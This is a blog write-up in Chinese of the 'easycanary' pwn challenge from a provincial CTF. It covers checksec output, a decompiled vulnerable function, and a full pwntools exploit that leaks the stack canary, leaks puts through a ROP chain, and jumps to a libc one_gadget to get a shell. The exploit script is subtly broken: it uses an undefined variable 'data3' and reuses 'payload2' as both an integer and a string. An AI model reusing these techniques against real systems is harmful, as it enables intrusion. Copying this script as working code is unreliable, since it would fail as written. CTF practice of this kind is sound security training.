pwn

吉林网络安全省赛

jeasycanary writeup

Posted by pic4xiu on May 24, 2019

Overview

Safeguard、operation and analysis

pic@ubuntu:~/Desktop/pwn$ checksec easycanary
[*] '/home/pic/Desktop/pwn/easycanary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

pic@ubuntu:~/Desktop/pwn$ ./easycanary 
welcome any
learn some canary challenge
input your name
1
hello 1����
Let's start a game, can you guess the keyword?
1
fail

可以看到本题开了nx和canary,我们逻辑看了个大概,下面到ida中具体分析,主函数没啥看的,直接到name()函数中看

unsigned __int64 name()
{
  char buf; // [rsp+0h] [rbp-30h]
  char v2; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("input your name");
  readi(&v2, 24LL);
  printf("hello %s\n", &v2);
  puts("Let's start a game, can you guess the keyword?");
  read(0, &buf, 0x90uLL);
  if ( !strcmp(&buf, keyword) )
    puts("good boy\n");
  else
    puts("fail");
  return __readfsqword(0x28u) ^ v3;
}

Thinking

how to exploit vulnerability

可以看到两个溢出,一个泄露canary,一个直接上shellcode就行,所以思路如下:

  • readi(&v2, 24LL)把’\x00’抹掉,从而泄露canary
  • pop rdi把puts真实地址找出来,从而算偏移
  • 利用one_gadgetexecve("/bin/sh")找到
  • 然后再调用一遍main()函数直接起shell即可

Summary

本题要点就是canary,知道这个就很简单了,exp如下

from pwn import *
p = process('./easycanary')
elf = ELF('./easycanary')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

p.recvuntil('input your name\n')
p.send('A'*0x19)
#当然用sendline('A'*0x18)也行,相当于直接接了个'\n'
p.recvuntil('A'*0x18)
canary = u64(p.recv(8))
canary = canary - 0x41
print hex(canary)
p.recvuntil('guess the keyword?\n')

payload = 'qwertyuiopasdfghjklzxcvbnm' + '\x00'
payload += 'A'*(40-len(payload)) + p64(canary)
payload += 'A'*(56-len(payload)) +p64(0x400a53)+ p64(0x601018)+p64(0x400666)+ p64(0x4009AB)
p.sendline(payload)
p.recvuntil('good boy\n\n')
puts_got = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_got - libc.symbols['puts']
payload2 = libc_base + 0x45216
print hex(payload2)

p.recvuntil(' your name\n')
p.send('A'*0x19)
p.recvuntil('A'*0x18)
canary = u64(p.recv(8))
canary = data3 - 0x41
print hex(canary)
p.recvuntil('guess the keyword?\n')

payload2 = 'qwertyuiopasdfghjklzxcvbnm' + '\x00'
payload2 += 'A'*(40-len(payload2)) + p64(canary)
payload2 += 'A'*(56-len(payload2)) +p64(payload2)
#gdb.attach(p)
p.sendline(payload2)

p.interactive()

题目链接(so环境同目录